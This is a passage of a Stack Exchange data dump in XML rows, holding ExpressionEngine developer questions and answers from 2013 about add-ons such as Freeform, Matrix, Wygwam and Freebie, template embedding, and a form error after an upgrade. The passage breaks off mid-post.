  <row Id="14095" PostTypeId="1" AcceptedAnswerId="14099" CreationDate="2013-09-26T17:18:27.940" Score="1" ViewCount="141" Body="&lt;p&gt;Freeform 4.1.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm attempting to edit the {freeform:edit_data:status} on the front-end of my site like  so: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:edit&#xA;entry_id=&quot;{segment_3}&quot;&#xA;form_name=&quot;referral_application&quot;&#xA;notify_on_edit=&quot;yes&quot;&#xA;restrict_edit_to_author=&quot;no&quot;&#xA;return=&quot;/referrals#myreferrals/status_changed_success&quot; &#xA;}&#xA; &amp;lt;select id=&quot;status&quot; name=&quot;status&quot;&amp;gt;&#xA;   &amp;lt;option value=&quot;{freeform:edit_data:status}&quot; selected&amp;gt;&#xA;    {freeform:edit_data:status}    &#xA;&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;open&quot;&amp;gt;Approved&amp;lt;/option&amp;gt;&#xA; &amp;lt;option value=&quot;closed&quot;&amp;gt;Declined&amp;lt;/option&amp;gt;&#xA;&#xA; &amp;lt;/select&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; class=&quot;btn btn-default&quot; value=&quot;submit&quot;&amp;gt;&#xA;&#xA; {/exp:freeform:edit} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I saw post on Solspace that said it was going to be fixed in version 4.0.6 :&#xA;&lt;a href=&quot;http://www.solspace.com/forums/viewthread/13266/#54728&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/forums/viewthread/13266/#54728&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone had any success with editing a status?&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2013-09-26T18:05:26.923" Title="Solspace Freeform {freeform:edit_data:status}" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14096" PostTypeId="2" ParentId="12458" CreationDate="2013-09-26T17:21:32.580" Score="1" Body="&lt;p&gt;I beg to differ. We recently updated Matrix to version 2.5.6 (on EE 2.6.1), and MX Cloner 1.2.1 stopped working. They may update it, but until they do, Devot-ee''s information appears to be accurate. &lt;/p&gt;&#xA;" OwnerUserId="897" LastActivityDate="2013-09-26T17:21:32.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14097" PostTypeId="1" CreationDate="2013-09-26T17:31:24.887" Score="1" ViewCount="184" Body="&lt;p&gt;Importer 2.2.2 seems to have installed correctly on EE 2.7, then receiving the below error when entering setup for the Module.  Any thoughts on why the error is being thrown and how to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Uncaught exception 'Exception' with message 'DateTimeZone::__construct(): Unknown or bad timezone ()' in D:\Inetpub\CBLink1\system\expressionengine\third_party\importer\addon_builder\addon_builder.php:4097 Stack trace: #0 D:\Inetpub\CBLink1\system\expressionengine\third_party\importer\addon_builder\addon_builder.php(4097): DateTimeZone-&gt;__construct('') #1 D:\Inetpub\CBLink1\system\expressionengine\third_party\importer\act.importer.php(65): Addon_builder_importer-&gt;timezone_offset() #2 D:\Inetpub\CBLink1\system\expressionengine\third_party\importer\addon_builder\addon_builder.php(702): Importer_actions-&gt;__construct() #3 D:\Inetpub\CBLink1\system\expressionengine\third_party\importer\mcp.importer.php(139): Addon_builder_importer-&gt;actions() #4 D:\Inetpub\CBLink1\system\expressionengine\controllers\cp\addons_modules.php(357): Importer_mcp-&gt;index() #5 [internal function]: Addons_modules-&gt;show_module_cp() #6 D:\Inetpub\CBLink1\system\codeigniter\system\core\CodeIgniter.php(319): call_user_func_array(Array, Array) #7 in D:\Inetpub\CBLink1\system\expressionengine\third_party\importer\addon_builder\addon_builder.php on line 4097&lt;/p&gt;&#xA;" OwnerUserId="2108" LastActivityDate="2013-09-27T03:55:25.160" Title="DateTimeZone error when trying to set up Importer" Tags="|solspace-importer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14098" PostTypeId="1" CreationDate="2013-09-26T17:42:27.303" Score="1" ViewCount="446" Body="&lt;p&gt;How would I go about setting the order of entries in a &quot;products&quot; channel based on the value in a price within a matrix field?  So for each product, there is a matrix field with columns of regular price, sale price, sale start date, sale end date, color (an option that rarely affects price anyway).  But regular price and ale price are pretty well always the same regardless of how many color options there are for the given product.  What I'm looking to do is basically this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries orderby=&quot;{matrix_field:reg_price}&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any way to do something like this?  Do I need to first perform a query to determine what the active price is for the items in order to sort them by this field?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-09-26T23:45:10.670" Title="Order entries by value in Matrix field column" Tags="|matrix|conditionals|query|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14099" PostTypeId="2" ParentId="14095" CreationDate="2013-09-26T18:05:26.923" Score="1" Body="&lt;p&gt;To edit the status on the front end, allow_status_edit=&quot;yes&quot;  needs to be added to the exp:freeform:edit form.&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2013-09-26T18:05:26.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14100" PostTypeId="1" CreationDate="2013-09-26T18:21:51.077" Score="1" ViewCount="204" Body="&lt;p&gt;EE 2.7.0, CI 5.4.8. Wygwam 3.1.2, and Publisher Lite 1.0.10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m using CI to handle uploads and then the Wygwam/CI button to insert images directly into a body of text. Publisher Lite drafts and previews are turned on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When saving or publishing entries with images inserted into a the Wygwam field using Wygwam/CI, the images are broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here’s what I can deduce: Images inserted into the wygwam field are broken because they are generated using the temp_dir version of the image url. For example, if I insert an image, this is the img src prior to saving (and thus prior to CI saving to the filesystem):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/?ACT=26&amp;amp;f=nyu12001_details_114__post.jpg&amp;amp;fid=1&amp;amp;d=1380212844&amp;amp;temp_dir=yes&quot; rel=&quot;nofollow&quot;&gt;http://example.com/?ACT=26&amp;amp;f=nyu12001_details_114__post.jpg&amp;amp;fid=1&amp;amp;d=1380212844&amp;amp;temp_dir=yes&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before hitting save, I can open that URL in a browser and see the image just fine. After hitting save, the URL is broken and in Publisher's draft preview I get a borked image. If I publish to the front-end, it is published with the temp_dir version as well, and thus also borked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I hit edit entry to return to the entry form, I see the image just fine in the CI field, but there is a borked image in Wygwam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use the CI button in the Wygwam toolbar to insert the image again, this time I get the following URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/?ACT=26&amp;amp;f=nyu12001_details_114__post.jpg&amp;amp;fid=1&amp;amp;d=418&quot; rel=&quot;nofollow&quot;&gt;http://example.com/?ACT=26&amp;amp;f=nyu12001_details_114__post.jpg&amp;amp;fid=1&amp;amp;d=418&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the image shows just fine on in the Publisher preview and on the front-end if published. This is expected, since this image has been saved to the filesystem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? The temp_dir is system/expressionengine/cache/channel_images/path/to/image, which CI will auto-prune on submission, but I need to somehow update the img src to new URL after that happens. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can confirm this only happens when Publisher is activated, as I believe Publisher co-opts the entry save/submit process.&lt;/p&gt;&#xA;" OwnerUserId="2109" LastActivityDate="2013-09-26T18:21:51.077" Title="Broken IMG urls using Channel Images, Publisher Lite, and Wygwam" Tags="|ee2|pixelandtonic|wygwam|channel-images|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14101" PostTypeId="1" CreationDate="2013-09-26T18:24:20.520" Score="1" ViewCount="67" Body="&lt;p&gt;So i wrote a few simple classes to handle login, password hashing and query handling.&#xA;They've all been tested and work... HOWEVER!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I placed these classes inside a template, let's call it /classes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i used php's include &quot;&quot; and require &quot;&quot; it caused server errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then resorted to using EE syntax to embed the classes template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;/path_to/classes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So that only worked half way. The code below will work fine in classes template alone, but NOT if classes is embedded and the code below is ran on the parent template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $createPassword = new protectPassword;&#xA; $securePassword = $createPassword-&amp;gt;makePassword($passwrd);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So i guess my questions are, am i doing something wrong in EE, or does EE just not like / allow such things?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is much appreciated! Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1104" LastActivityDate="2013-09-26T19:37:59.267" Title="Does EE not like includes, requires and classes?" Tags="|ee1|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14102" PostTypeId="1" CreationDate="2013-09-26T19:13:25.047" Score="1" ViewCount="183" Body="&lt;p&gt;I need to display the number of visitors to a website on the homepage, and I'm wondering if there is a way to add formmating to the number output by the {hits} variable.  &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/hit_counter.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/hit_counter.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a few plugins, like &quot;number-formatter&quot; and even the &quot;price-format&quot; but I think the issue is that the {hits} won't parse from within some of these plugin tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way to display (and format) the total number of visits to any one page on a site with EE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THANKS!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mike&lt;/p&gt;&#xA;" OwnerUserId="2110" LastActivityDate="2013-09-26T19:46:11.607" Title="Formatting number from the hit counter (how to add comma)" Tags="|number-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14103" PostTypeId="2" ParentId="14101" CreationDate="2013-09-26T19:31:19.937" Score="1" Body="&lt;p&gt;Putting anything beyond the simplest procedural PHP inside your templates is not a good idea, and will doubtless lead to headaches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I strongly suggest you &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/index.html&quot; rel=&quot;nofollow&quot;&gt;write an add-on&lt;/a&gt; to house your custom code.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-26T19:31:19.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14104" PostTypeId="2" ParentId="14101" CreationDate="2013-09-26T19:37:59.267" Score="2" Body="&lt;p&gt;I'm afraid you're approaching EE in the wrong way. it's not a good idea to mash-up EE, templates and PHP in the way you're describing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;embeds {embed=&quot;template_group/template&quot;} are for templates only - not including any file you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You mentioned EE1, you can download the docs from Ellis Labs website, or view online &lt;a href=&quot;http://ee1docs.com/development/index.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;: &lt;a href=&quot;http://ee1docs.com/development/index.html&quot; rel=&quot;nofollow&quot;&gt;http://ee1docs.com/development/index.html&lt;/a&gt;. I'd highly recommend you read the developer documentation which goes into creating classes for plugins, modules and extensions. These can then be accessed via tags from the frontend instead of using PHP in the templates.  Also look at other examples and learn from them - &lt;a href=&quot;http://devot-ee.com/search/results?keywords=password&amp;amp;collection=addons&amp;amp;addon_version_support=ee1&quot; rel=&quot;nofollow&quot;&gt;Devot-ee&lt;/a&gt; has lot's to choose from and you may find there's something that already does what you need (don't forget to filter by EE1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using CodeIgniter and ExpressionEngine code in the right will give you lot's of power to tap into their own classes and methods. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're starting out in EE or have inherited a site that uses EE1, I'd highly recommend upgrading and moving to EE2.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-09-26T19:37:59.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14105" PostTypeId="1" AcceptedAnswerId="14107" CreationDate="2013-09-26T19:44:52.350" Score="3" ViewCount="945" Body="&lt;p&gt;I purchased plugin that requires EE. 2.6.x however I am not prepared to do the changes needed for Safecracker in 2.7.x to upgrade that far.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I find a download for previous versions of Expression Engine - I am a paying customer and cannot find it anywhere on the Ellis labs site. I emailed support but cannot create a &quot;ticket&quot; unless i have a support license.&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2013-09-26T19:54:34.023" Title="Where to find 2.6.1" Tags="|ee2|ee2-upgrades|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14106" PostTypeId="2" ParentId="14102" CreationDate="2013-09-26T19:46:11.607" Score="1" Body="&lt;p&gt;This is probably due to parse order. {hits} isn't tag specific, so probably gets parsed later than the plugins you're using to format the value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#channel-entries-track-views&quot; rel=&quot;nofollow&quot;&gt;track_views=&quot;one&quot; parameter&lt;/a&gt; on the channel:entries tag you use to build the homepage (assuming you have an entry associated with the homepage), that will give you the equivalent of {hits}. Then use {view_count_one} in the template, which should get parsed prior to the plugin that formats it: &lt;a href=&quot;http://devot-ee.com/add-ons/number-formatter&quot; rel=&quot;nofollow&quot;&gt;Number formatter&lt;/a&gt;, &lt;a href=&quot;http://devot-ee.com/add-ons/number-format&quot; rel=&quot;nofollow&quot;&gt;Number Format&lt;/a&gt;, etc.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-09-26T19:46:11.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14107" PostTypeId="2" ParentId="14105" CreationDate="2013-09-26T19:54:34.023" Score="3" Body="&lt;p&gt;Even if you had a support license, the response from Ellis Labs will be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/212224/#985105&quot; rel=&quot;nofollow&quot;&gt;Unfortunately we do not provide older copies for download&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/158225/#763152&quot; rel=&quot;nofollow&quot;&gt;We do not make older versions of EE available&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But there could be light at the end of the tunnel...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/236517/&quot; rel=&quot;nofollow&quot;&gt;Kevin Cupp to the rescue!&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-09-26T19:54:34.023" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14108" PostTypeId="1" CreationDate="2013-09-26T20:15:30.780" Score="2" ViewCount="1461" Body="&lt;p&gt;I have completed the editing of entries with Chanel_Forms, but I can't get channel_forms to create an entry. I am running MSM and have EE 2.7.1. Below is my code. You can see this is extremely basic. What is going wrong here? When I submit, the page just refreshes and does not enter the new entry in EE CP.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            {exp:channel:form &#xA;                channel=&quot;test_channel&quot; &#xA;                site=&quot;blogs&quot; &#xA;                id=&quot;newEntryForm&quot; &#xA;                return=&quot;{site_url}/inline/URL_TITLE&quot;&#xA;            }&#xA;                &amp;lt;label for=&quot;title&quot;&amp;gt;Title&amp;lt;/label&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot; maxlength=&quot;100&quot; onkeyup=&quot;liveUrlTitle();&quot;&amp;gt;&#xA;                {label:test}&#xA;                {field:test}&#xA;                &amp;lt;br/&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;                &amp;lt;input id=&quot;submitMe&quot; type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;            {/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Sorry guys... I bounced off of this project completely. I will rebuild this test environment and make the suggested changes to reply with the results.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="55" LastEditDate="2014-06-18T14:26:40.270" LastActivityDate="2014-06-18T14:26:40.270" Title="EE 2.7.1 - Channel Form for new entry not working" Tags="|ee2|safecracker|entries|saef|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14109" PostTypeId="1" AcceptedAnswerId="14112" CreationDate="2013-09-26T21:04:09.487" Score="1" ViewCount="120" Body="&lt;p&gt;I am wanting to use Freebie to ignore segment_1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use a 'programs' template group but dont want programs in the url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example:&#xA;NO - domain.com/programs/cycling&#xA;YES - domain.com/cycling&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I place programs in the Freebie segments, how does it know when domain.com/cycling is used to use the programs template? Because at this time it shows the sites homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read about htaccess and the way the index.php is removed, but still dont see how it ignores segment_1 and knows what template to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="31" LastActivityDate="2013-09-26T21:31:14.643" Title="How does Freebie ignore segment_1 and know what template to use?" Tags="|url|segments|freebie|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14110" PostTypeId="2" ParentId="14109" CreationDate="2013-09-26T21:14:28.853" Score="0" Body="&lt;p&gt;What we've done before is to add a folder with the name of the segment you wish to ignore, and put a separate .htaccess &amp;amp; an index.php file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a trick often used for multi-language sites, but also could work here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I may be wrong, but I believe Freebie cannot ignore segment_1 from what I recall.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-09-26T21:14:28.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14112" PostTypeId="2" ParentId="14109" CreationDate="2013-09-26T21:31:14.643" Score="0" Body="&lt;p&gt;I can think of two solutions here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Use the pages module. Then you can assign arbitrary URLs to use a specific template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If you use Switchee or Ifelse in your site's homepage template to determine what to do. Usually I place snippets inside of each condition within those add-ons, to minimize embeds. Since the conditionals parse before the contents, you don't have to worry about running lots of unnecessary code in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The decision really depends on how dynamic you need that first URL segment to be.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-09-26T21:31:14.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14113" PostTypeId="1" CreationDate="2013-09-26T22:09:49.690" Score="1" ViewCount="139" Body="&lt;p&gt;I can't seem to get the User register form to honor settings in Custom System Messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had this issue before (see: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13578/csm-solspace-user/13587?noredirect=1#comment15805_13587&quot;&gt;CSM &amp;amp; Solspace User&lt;/a&gt;) and was supposed to be fixed in the recent new release of User.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new release seems to have fixed other forms but not the register form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried setting (12) Registration Form (On Error) &amp;amp; (13) Register Member(On Error) to redirect to a specific template in CSM, but I always get redirected to the General Error template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="434" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-09-27T00:46:33.897" Title="CSM, Solspace User &amp; Register Form" Tags="|solspace-user|registration|custom-system-messages|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14114" PostTypeId="1" CreationDate="2013-09-26T22:33:44.703" Score="1" ViewCount="42" Body="&lt;p&gt;Lets say I have The Parent Category which is GEORGE. George has 2 child categories Susie and Mike.  If the user is on the website and is not logged in, they should only see Susie. If they are logged in they should see Mike and Susie. Problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GEORGE has to be selected to see Mike and Susie inside the same channel, how do we exclude Mike if the user is not logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have tried.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if member_group == &quot;10&quot;}&#xA;  {exp:channel:entries channel=&quot;products&quot; dynamic=&quot;yes&quot;}&#xA;    {if last_segment == &quot;Mike&quot; }&#xA;      {redirect=&quot;products&quot;}&#xA;    {if:else}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which works, but if im not logged in and are on Susies directory I see the product from Mike, I realize segmenting will not work for this particular issue.  That the content needs to be filtered.  Any suggestions.&lt;/p&gt;&#xA;" OwnerUserId="1940" LastEditorUserId="69" LastEditDate="2013-10-20T21:51:56.823" LastActivityDate="2013-10-20T22:06:23.130" Title="Categories - Hiding Children based on login" Tags="|categories|content|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14115" PostTypeId="2" ParentId="14098" CreationDate="2013-09-26T23:45:10.670" Score="1" Body="&lt;p&gt;You should be able to sort by the first column of the Matrix field without doing anything special. In your example, let’s assume that &lt;code&gt;regular_price&lt;/code&gt; is the first column within &lt;code&gt;matrix_field&lt;/code&gt;, the code would be…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries orderby=&quot;{matrix_field}&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To be honest, this solution is based on code I wrote two years ago, but it does work and is in production, but Matrix will have been updated. I recall I had to save the entries again to make this work. Try it, and let me know how you go.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-09-26T23:45:10.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14116" PostTypeId="1" AcceptedAnswerId="14151" CreationDate="2013-09-27T00:36:51.280" Score="2" ViewCount="100" Body="&lt;p&gt;Using Freeform 4.1.2, Zoo Visitor 1.3.28&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sending notifications to the user who submits the form. The current_user field here is capturing populated by zoo visitor ({screen_name}). Works great. However, my notifications to the user are only going out to super admins (member_group 1) if they submit the form.If a member from my Members group (member_group 7) submits the form they are not notified. Am I missing a setting somewhere to allow this member group?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;form_id=&quot;1&quot;&#xA;inline_errors=&quot;yes&quot;&#xA;required=&quot;name|email&quot;&#xA;notify_user=&quot;yes&quot; &#xA;return=&quot;referrals/success&quot;&#xA;allow_status_edit=&quot;yes&quot;&#xA;user_email_field=&quot;current_user&quot; &#xA;}&#xA;&#xA;&amp;lt;label&amp;gt;Broker: {embed=&quot;referrals/current_user&quot;}&amp;lt;/label&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;{screen_name}&quot; name=&quot;current_user&quot; id=&quot;current_user&quot; /&amp;gt;&#xA;&#xA;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;&amp;lt;?php echo $broker_name; ?&amp;gt;&quot; name=&quot;broker_name&quot; id=&quot;broker_name&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2013-09-27T18:58:42.707" Title="Solspace freeform Notifcation member_group setting" Tags="|solspace-freeform|solspace|zoo-visitor|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14118" PostTypeId="2" ParentId="14097" CreationDate="2013-09-27T03:55:25.160" Score="1" Body="&lt;p&gt;The latest version of Importer, as of this writing, is &lt;strong&gt;2.2.3&lt;/strong&gt;. This version adds EE 2.7 compatibility. Please upgrade to this version and let us know if the issue persists.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-09-27T03:55:25.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14119" PostTypeId="2" ParentId="14108" CreationDate="2013-09-27T04:06:22.430" Score="1" Body="&lt;p&gt;A few things to check:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Are there any required fields that you didn't add to the form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Does the user you're logged into as (or the guest user you are using) have permissions to post in the channel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Have you tried adding in the URL title field? It's not supposed to be required, but I've had that cause issues before.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-09-27T04:06:22.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14120" PostTypeId="2" ParentId="14116" CreationDate="2013-09-27T04:44:02.930" Score="0" Body="&lt;p&gt;You may need to add the &lt;code&gt;user_notification_template=&quot;confirmation_email&quot;&lt;/code&gt; parameter to your form tag in order for the user notifications to be sent.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-09-27T04:44:02.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14121" PostTypeId="1" AcceptedAnswerId="14124" CreationDate="2013-09-27T08:50:10.883" Score="2" ViewCount="854" Body="&lt;p&gt;This might be really basic, but using a standard Expression Engine install, how do I choose a different design template for a specific channel? I'm not using Structure or anything like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I basically have two design templates, one for the front page, and one for articles. I'm displaying a portion of the content of each article on the front page. But want to link to the article itself from the front page. Then I want it to open that article using the other design template. Weirdly enough, I can't find any documentation on that. &lt;/p&gt;&#xA;" OwnerUserId="2111" LastActivityDate="2013-09-27T19:30:18.163" Title="How do I choose a different design template?" Tags="|channel-entries|templates|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14122" PostTypeId="1" CreationDate="2013-09-27T09:33:55.437" Score="9" ViewCount="1128" Body="&lt;p&gt;I've just completed an upgrade from 2.5.3 to 2.7.0 (never want to do THAT again ;) ) and have run into an issue that seems to be coming from some changed security restrictions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have several simple pages that (in a nutshell) &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;read the contents of a web page into a variable&lt;/li&gt;&#xA;&lt;li&gt;allow the selection (via radio button) of an e-mail address value for another variable&lt;/li&gt;&#xA;&lt;li&gt;mails the html content to the provided e-mail address&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This has been done for the last year or so, no problems at all. Two lines of php have capture the content and another line sends the mail with the native mail() function. &#xA;The page has used a form to post the html payload and email address selection back to itself (action=&quot;&quot;) and then based on the value of a couple hidden variable has either executed the mail() command or recycled the page with alternate html to be delivered as payload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since upgrading to 2.7 these form submission have stopped working, and I am confronted with that ugly grey box stating&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The following errors were encountered&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- The action you have requested is invalid.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Return to Previous Page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &quot;wonderful&quot; generic message, which says absolutely nothing at all. (sigh)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I bit of time with google had me thinking this was being caused by a now mandatory CSRF token, but looking at my config I saw that CSRF protection was not even enabled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find a hint of anything in any log file anywhere, nor does anything appear on screen for a superuser. Also, the action does not complete, the mail is not sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I whittled one of the pages down to the following contents as a test:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&quot; method=&quot;post&quot;&amp;gt;&#xA;   &amp;lt;input type=&quot;hidden&quot; 